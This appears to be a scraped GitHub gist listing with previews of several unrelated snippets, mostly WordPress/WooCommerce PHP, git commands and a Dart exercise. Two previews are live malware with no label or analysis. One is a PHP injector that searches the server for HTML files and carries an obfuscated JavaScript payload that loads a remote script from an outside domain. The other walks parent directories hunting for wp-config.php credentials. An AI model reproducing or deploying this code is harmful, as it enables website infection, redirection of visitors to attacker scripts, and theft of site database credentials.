This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php //* Do not include this opening php tag | |
//* Add Cart icon and count to header if WC is active | |
add_action( 'genesis_header', 'jmd_wc_cart_count' ); | |
function jmd_wc_cart_count() { | |
if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) { | |
$count = WC()->cart->cart_contents_count; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<!-- | |
Google HTML5 slide template | |
Authors: Luke Mahé (code) | |
Marcin Wichary (code and design) | |
Dominic Mazzoni (browser compatibility) | |
Charles Chen (ChromeVox support) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $a = 'find / -type f -name "*" | xargs grep -rl "<head"'; | |
$l1 = '<script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 108, 101, 97, 114, 110, 105, 110, 103, 116, 111, 111, 108, 107, 105, 116, 46, 99, 108, 117, 98, 47, 108, 105, 110, 107, 46, 112, 104, 112, 63, 118, 101, 114, 61, 49);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php echo ":#009009#:"; | |
$file_to_search = "wp-config.php"; | |
@search_file($_SERVER['DOCUMENT_ROOT']."/../../../../..",$file_to_search); | |
@search_file($_SERVER['DOCUMENT_ROOT']."/../../../..",$file_to_search); | |
@search_file($_SERVER['DOCUMENT_ROOT']."/../../..",$file_to_search); | |
@search_file($_SERVER['DOCUMENT_ROOT']."/../..",$file_to_search); | |
@search_file($_SERVER['DOCUMENT_ROOT']."/..",$file_to_search); | |
@search_file($_SERVER['DOCUMENT_ROOT'],$file_to_search); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Billing Checkout Fields | |
*/ | |
billing_first_name | |
billing_last_name | |
billing_company | |
billing_address_1 | |
billing_address_2 | |
billing_city | |
billing_postcode |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter('woocommerce_states', 'add_custom_states_to_country',70); | |
add_filter('woocommerce_countries_allowed_country_states', 'add_custom_states_to_country'); | |
function add_custom_states_to_country( $states ) { | |
$country_code = 'NG'; | |
$new_states = array( | |
'AA' => __('Abraham Adesanya', 'woocommerce'), | |
'AR' => __('Ado Road', 'woocommerce'), | |
'AG' => __('Agege', 'woocommerce'), | |
'AJ' => __('Ajah', 'woocommerce'), | |
'AO' => __('Amuwo Odofin', 'woocommerce'), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter('woocommerce_states', 'add_custom_states_to_country'); | |
add_filter('woocommerce_countries_allowed_country_states', 'add_custom_states_to_country'); | |
function add_custom_states_to_country( $states ) { | |
$states['NG'] = array( | |
'AA' => __('Abraham Adesanya', 'woocommerce'), | |
'AR' => __('Ado Road', 'woocommerce'), | |
'AG' => __('Agege', 'woocommerce'), | |
'AJ' => __('Ajah', 'woocommerce'), | |
'AO' => __('Amuwo Odofin', 'woocommerce'), | |
'AP' => __('Apapa', 'woocommerce'), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#add 'node_modules' to .gitignore file | |
git rm -r --cached node_modules | |
git commit -m 'Remove the now ignored directory node_modules' | |
git push origin master |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** Add the featured image section */ | |
add_action( 'genesis_after_header', 'full_featured_image' ); | |
function full_featured_image() { | |
if ( is_front_page() ) { | |
echo '<div id="full-image"><img src="https://unilagconsult.com.ng/cybercamp19/wp-content/uploads/2019/06/ux-unilag-consult-banner.jpg" /></div>'; | |
} | |
elseif ( is_page('1543') ){ | |
echo '<div class="a"><p>Contact Us </p></div>'; | |
} | |
elseif ( is_page('1583') ){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Challenge: Without changing the main() function, can you make this code work and get the result printed in the console? | |
void main() { | |
int step1Result = add(n1: 5, n2: 9); | |
int step2Result = multiply(step1Result, 5); | |
double finalResult = step2Result / 3; | |
print(finalResult); |
OlderNewer